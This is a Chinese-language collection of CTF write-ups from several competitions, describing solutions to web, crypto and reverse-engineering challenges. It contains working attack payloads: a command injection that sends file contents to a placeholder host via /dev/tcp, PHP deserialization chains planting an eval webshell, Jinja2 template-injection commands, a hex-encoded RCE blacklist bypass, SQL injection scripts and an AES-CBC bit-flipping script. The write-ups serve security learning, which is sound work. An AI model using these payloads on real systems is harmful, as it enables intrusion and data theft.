最终汇报
d3ctf
(这里使用共享文档的wp)
公号第5名
calc
利用 os.system(log) ,反引号执行子命令
开头1#注释绕过eval,末尾<绕过重定向,制表符绕过空格,最后cat /*重定向到vps上
num=1%23%60cat%09/%2A%60%3E/dev/tcp/vpsip/2333%3C
ezpop
(这里使用共享文档的wp)
换行绕最后的#,flag在当前目录
$fin1=new fin();
$what=new what();
$fin2=new fin();
$crow=new crow();
$fin3=new fin();
$mix=new mix();
$mix->m1="\r\nsystem('cat ./*');";
$fin3->f1=$mix;
$crow->v1=$fin3;
$fin2->f1=$crow;
$what->a=$fin2;
$fin1->f1=$what;
$str=urlencode( serialize($fin1));
echo $str;
dasctf
团队赛35名
ezpop
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
构造payload
<?php
class crow
{
public $v1;
}
class fin
{
public $f1;
}
class what
{
public $a;
}
class mix
{
public $m1='?><?=eval($_POST[1]);';
}
$fin = new fin();
$b = new what();
$fin2 = new fin();
$c = new crow();
$fin3 = new fin();
$d = new mix();
$fin->f1 = $b;
$b->a = $fin2;
$fin2->f1 = $c;
$c->v1 = $fin3;
$fin3->f1 = $d;
echo serialize($fin);
得到flag
calc
(这里使用共享文档的wp)
题目:
/app.py
coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)
代码中waf(s)函数有很多的屏蔽词,但是没有屏蔽反引号,可以内联执行将反引号内命令的输出作为输入执行
构造payload并将回显反弹到服务器上

(我自己的服务器环境有问题,因此用了别人的服务器来监听)
root@iZ2zec7mjp663ump9wsug3Z:~# nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 117.21.200.166 36271 received!
20220404-132944 10.244.80.46 1+2#Th1s_is__F1114g bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
找到flag位置
Dest0g3
个人赛693名
Welcome to fxxking DestCTF
关注微信公众号获取
EasyEncode
爆破密码后打开txt,很明显是摩斯电码,解密后得到十六进制,十六进制转ascii
使用base解密得到flag{Deoding_1s_e4sy_4_U}
phpdest
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}
文件包含,绕 require_once,用burpsuite修改User-Agent为 ,
然后用日志包含 ?file=/var/log/nginx/access.log 得到flag
EasyPHP
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?>
异常处理函数 use() 中输出flag,传参时传入数组即可触发异常:ctf[]=1。
SimpleRCE
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>
黑名单绕过rce,用16进制编码绕过:aaa=hex2bin('73797374656d')('uniq /f*');
simpleXOR
main()代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[72]; // [rsp+0h] [rbp-160h]
char v5[52]; // [rsp+120h] [rbp-40h] BYREF
int v6; // [rsp+154h] [rbp-Ch]
unsigned int j; // [rsp+158h] [rbp-8h]
int i; // [rsp+15Ch] [rbp-4h]
v6 = 247;
printf("input flag:");
__isoc99_scanf("%s", v5);
for ( i = 0; i <= 35; ++i )
{
v4[i + 36] = v5[i];
v4[i] = v6 ^ (v4[i + 36] + i);
}
for ( j = 0; j <= 0x23; ++j )
{
if ( v4[j] != result_0[j] )
{
puts("Wrong!!!");
return 0;
}
if ( j == 35 )
puts("Success!!!");
}
return 0;
}
先加下标值再异或247,最后校验密文,写出脚本:
c = [179, 145, 130, 128, 195, 155, 206, 117, 207, 156, 154, 133, 133, 205, 184, 132, 170, 125, 189, 187, 177, 181, 150, 113, 141, 158, 134, 191, 115, 168, 163, 156, 131, 101, 158, 87]
flag = [(c[i]^247)-i for i in range(len(c))]
print(bytes(flag))
b’Dest0g3{0bcgf-AdMy892-KobPW-hB6LTqG}’
miniLCTF
(这里使用共享文档的wp)
团队赛第十名
checkin
可以看出这道题判断的方式是通过token判断是否为admin
func HomeController(c *gin.Context) {
token, err := c.Cookie("token")
if err != nil {
c.Redirect(http.StatusFound, "/")
}
jsonUser, _ := utils.TokenDecrypt(token)
user := models.User{}
_ = json.Unmarshal([]byte(jsonUser), &user)
if user.Name == "admin" {
file, _ := os.Open("/flag")
defer file.Close()
content, _ := ioutil.ReadAll(file)
_, _ = c.Writer.WriteString(string(content))
} else {
_, _ = c.Writer.WriteString("Only admin can get the secret!")
}
}
通过源码可以知道token是经过解密后判断user.Name字段是否为admin,如果是admin就直接打开flag
token加密
func TokenEncrypt(user []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
blockSize := block.BlockSize()
originData := pad(user, blockSize)
blockMode := cipher.NewCBCEncrypter(block, iv)
encrypted := make([]byte, len(originData))
blockMode.CryptBlocks(encrypted, originData)
return base64.StdEncoding.EncodeToString(append([]byte(config.IV), encrypted...)), nil
}
aes加密,cbc模式,最后将iv和密文拼接后得到token
到了这一步可以联想到aes算法的cbc翻转攻击,通过改变上一组的密文来使当前组的密文解密结果发送变化
func IndexController(c *gin.Context) {
_, err := c.Cookie("token")
if err == nil {
c.Redirect(http.StatusFound, "/home")
}
user := models.User{Name: "guest", CreateAt: time.Now().Unix(), IP: c.ClientIP()}
jsonUser, _ := json.Marshal(user)
token, _ := utils.TokenEncrypt(jsonUser)
c.SetCookie("token", token, 3600, "/", "", false, true)
c.Redirect(http.StatusFound, "/home")
}
继续从源码中发现Name为guest,所以只需要将guest换为admin
下面为解题脚本
import base64
from urllib import parse
plain='{"Name":"guest","CreateAt":1651386949,"IP":"127.0.0.1"}'
tx = [123, 34, 78, 97, 109, 101, 34, 58, 34, 103, 117, 101, 115, 116, 34, 44, 34, 67, 114, 101, 97, 116, 101, 65, 116, 34, 58, 49, 54, 53, 49, 51, 56, 54, 57, 52, 57, 44, 34, 73, 80, 34, 58, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 34, 125]
token="MDAwMTE0NTE0MTkxOTgxMOSJAwAU25w%2BxwD1vPGvUJHg5CSOXQDhJ9gGync9G1%2FlP5S4EDx%2FeZt3YoDMGWsjKSPLSoF4SsROuNB1J2yVfHI%3D"
token=parse.unquote(token)
origin=base64.b64decode(token)
for i in range(len(tx)):
print(chr(tx[i]), end='')
print()
vi=bytearray(origin[:16])
cipher=origin[16:]
print(vi)
vi[9]=vi[9]^ord('g')^ord('a')
vi[10]=vi[10]^ord('u')^ord('d')
vi[11]=vi[11]^ord('e')^ord('m')
vi[12]=vi[12]^ord('s')^ord('i')
vi[13]=vi[13]^ord('t')^ord('n')
print(vi)
new_iv=bytes(vi)
print(parse.quote(base64.b64encode(new_iv+cipher)))
mini_sql ##(这里使用共享文档的wp)
一道简洁的sql注入题目,目的明确,注出用户名密码登陆后即可得到flag
注释中给出sql语句 ,本题过滤了#注释符和单引号,无法将语句提前闭合,可以在用户名处以反斜杠\结尾,将username之后的单引号注释,从而让password处的内容全部连接到sql语句中,这是常规注入方式
or被过滤 =>||代替
‘#’被过滤 =>;%00代替
substr被过滤 =>mid代替
||ascii(mid(version(),{i},1))={j};%00
用这种形式的payload可以注出版本号(8.0.xxx)以及库名(ctf)
但本题的盲注由于select被过滤,所以无法继续,尝试大小写和截断均无法绕过
select被过滤一般只有在堆叠注入的情况下才可以绕过,除了极个别不需要select可以直接用password或者flag进行查询的情况
预编译注入
Handler查询
但经过尝试后均失败,本题无法堆叠注入
||ascii(mid(username,{i},1))={j};%00
尝试用简化查询语句,发现可以注出username,
但我继续注password时发现因为or的过滤导致语句无法通过,本题差一点点被非预期
MYSQL8.0注入新特性
当所有的常规方法用完后,终于发现了一条新路线,利用mysql8.0的新特性进行注入,
这里我们使用两个新的关键字table和values进行注入
def dump():
password='cd51c1005cab68be2f7e6112a4de3e89'
for j in str_range:
#payload=f"||ascii(mid(username,{i},1))={j};%00"#||ascii(mid((table users limit 0,1),1,1))>1;
payload=f'||(table users limit 1)>=(1,"w3lc0me_t0_m1n1lct5","{password+chr(j)}");%00'
mydata = {'username': '1\\',
'password': unquote(payload)
}
txt = requests.post(url, data=mydata).text
print(txt,chr(j))
类似于无列名注入,得到账号密码后登录获取flag

pwnhub5月公开赛

TemplatePlay
进入题目查看源代码可以发现一个js文件为user-agent.js
打开可以发现是一个判断条件,其中user-agent要求为Admin/5.0
可以发现这里有注入,
构造payload
{{g.pop.__globals__.__builtins__['__import__']('os').popen('find / -name "flag*"').read()}}
查看flag位置
知道位置后
构造payload为
{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /www/config/flag.txt').read()}}
拿到flag{833ebf704d6221bf0566bf99248dc701}
tsctf
团队赛第六名
BabyPHP
(这里引用当时公共文档的wp)

扫描根目录发现www.zip泄露得到源码
upload.php
$dst = '/var/www/html/不告诉你';
$fileinfo = array($_FILES["file"]["name"],$dst);
if (file_exists("$fileinfo[1]/$fileinfo[0]"))
{
echo $fileinfo[0] . " has already existed :)";
}
else
{
$cat->data=$fileinfo[0];
$cat->upload_check();
move_uploaded_file($_FILES["file"]["tmp_name"],"$fileinfo[1]/$fileinfo[0]");
$msg="file name:%s";
foreach($fileinfo as $key => $value)
{
$msg = sprintf($msg, $value);
}
echo $msg;
}
上传路径$dst放在了$fileinfo[1]中,想要foreach输出上传路径就要让$fileinfo[0]包含字符串%s,从而在第二次循环中输出路径

注释中有提示!– /var/www/html/blablabla/cat.php –
合理猜测路径为/var/www/html/y0u_wi1l_n3v3r_f1nd/cat.php,由于cat.php没用给出源码,在注释中可以看到

可以猜测cat.php的源码是用vim来恢复得到,访问/.cat.php.swp得到临时文件,再用vim -r恢复一下就可以得到源码
审计代码可知spl_autoload_register();可以自动加载未定义的类,而后面又有filenames参数的反序列化,可以先上传恶意文件,再用反序列化读取,触发恶意代码,spl_autoload_register();支持的文件类型有.inc和.php,由于文件上传处php被ban了,所以只能上传inc文件,再用反序列化去触发,可以先传一个phpinfo探路

想要反序列化就必须满足传入的参数小于8位,原本的O:1:”p”:0:{}可以缩减成O:1:”p”:恰好8位,成功触发后查看一下禁用函数,发现system不能用,换一换其他函数


魔塔
正常把游戏玩通关得到四分之三flag

猜出flag剩余部分为enjoy
VNCTF
个人赛421名
GameV4.0

找到源代码js文件中data.js搜索flag发现base64加密后的字符串,解码后即可得到flag
gocalc0

整理整个calc的源码
package main
import (
_ "embed"
"fmt"
"os"
"reflect"
"strings"
"text/template"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"
)
var tpl string
//go:embed main.go
var source string
type Eval struct {
E string `json:"e" form:"e" binding:"required"`
}
func (e Eval) Result() (string, error) {
eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err != nil {
return "", err
}
t := reflect.ValueOf(result).Type().Kind()
if t == reflect.Int {
return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
return result.(string), nil
} else {
return "", fmt.Errorf("not valid type")
}
}
func (e Eval) String() string {
res, err := e.Result()
if err != nil {
fmt.Println(err)
res = "invalid"
}
return fmt.Sprintf("%s = %s", e.E, res)
}
func render(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
fmt.Println(err)
c.String(500, "internal error")
return
}
if err := t.Execute(c.Writer, map[string]string{
"s0uR3e": source,
}); err != nil {
fmt.Println(err)
}
}
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8080"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {
render(c)
})
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()
c.String(200, "flag is in your session")
})
r.POST("/", func(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
eval := Eval{}
if err := c.ShouldBind(&eval); err == nil {
his = his + eval.String() + "<br/>"
}
session.Set("history", his)
session.Save()
render(c)
})
r.Run(fmt.Sprintf(":%s", port))
}
进行一下删减
package main
import (
_ "embed"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"os"
)
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8888" //这个port可以自己指定奥
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
c.String(200, session.Get("FLAG").(string))
})
r.Run(":8888")
}
后续思路卡住没有做出来
Access Denied CTF2022
国外组队赛 271名
misc签到题
加入官方discord频道即可
web文件上传
仅能上传png,jpg和gif文件,但是对文件路径没有思路






